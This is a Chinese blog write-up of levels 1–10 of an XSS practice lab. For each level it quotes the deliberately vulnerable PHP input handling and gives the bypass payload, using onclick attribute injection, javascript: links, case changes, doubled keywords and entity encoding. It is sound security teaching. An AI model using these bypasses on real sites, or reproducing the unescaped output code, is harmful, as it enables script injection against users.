xss挑战(1~10)

关注我的博客,访问更多内容!

xss闯关入口

less-1

查看源代码,

$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

并没有过滤,
payload:name=<script>alert(1)</script>

less-2

查看源代码,

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>

有两处输出,第一处在echo处,但被做了转义处理,起到过滤效果,第二处在input处,没有过滤,所以选择在表单的input里攻击,注意语句闭合方式为 " ,
payload:" onclick="alert(1)

less-3

查看源代码,

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />

两处输出位置都做了转义处理,都被过滤了,所以 ",<,>符号(双引号和尖括号)就没有效果了,但是源码里input里的value的闭合方式为 ',所以还是可以攻击的。
payload:' onclick='alert(1)

less-4

查看源代码,

$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />

两处输出位置,一处被转义了,input处没被转义,但是被做了函数处理,尖括号被替换为了空,和less-3的套路一样。
payload:" onclick="alert(1)

less-5

查看源代码,

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />

有两处输出,一处被做了转义处理,input处输入被做了小写和on,<script被做了替换处理,
payload:"><a href="javascript:alert(1)">xss</a>

less-6

查看源代码,

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">

有两处输出,一处被做了转义处理,input处<script,on,src,data,href被做了替换处理,但是没有做less-5中的小写处理,所以可以通过大写替换字绕过,
payload:" ONclick="alert(1)

less-7

查看源代码,

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">

有两处输出,一处被做了转义处理,input处做了小写处理和script,on,src,data,href被做了替换处理,可以利用双写来拼合成,例如oonn被处理后就变为了on,
payload:" oonnclick="alert(1)

less-8

查看源代码,

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
……
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

有两处输出,一处input做了转义处理,另一处做了小写处理和script,on,src,data,href," ,被做了替换处理,这题的关键在友情链接处,点击"添加友情链接"后会在友情链接出加入一个拼接的语句。
t的ASCII码116用表示为"&#116",同理:表示为"&#58",
payload:javascrip&#116:alert(1)

less-9

查看源代码,

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
……
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
……
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}

有两处输出,一处input做了转义处理,另一处做了小写处理和script,on,src,data,href," ,被做了替换处理,而且出现了strpos()函数,表示查找 “http://” 在字符串中第一次出现的位置。只要!=false,就会跳向可攻击的语句,所以构造的语句中要含有http://,利用javascript中的注释符//,
payload:javascrip&#116:alert(1)//http://

less-10

查看源代码,

$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">

有两处输出,一处被做了转义,一处input被作为隐藏表单(type=“hidden”)处理页面没有显示,需要先将隐藏表单触发显示出来,然后在input处攻击,看到url处可以get参数t_sort,所以可以构造payload了。
payload:url后加 &t_sort=xss" onclick=alert(1) type="text"

xss(1~10)关卡全部完成了,如有错误,欢迎在评论中指出!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值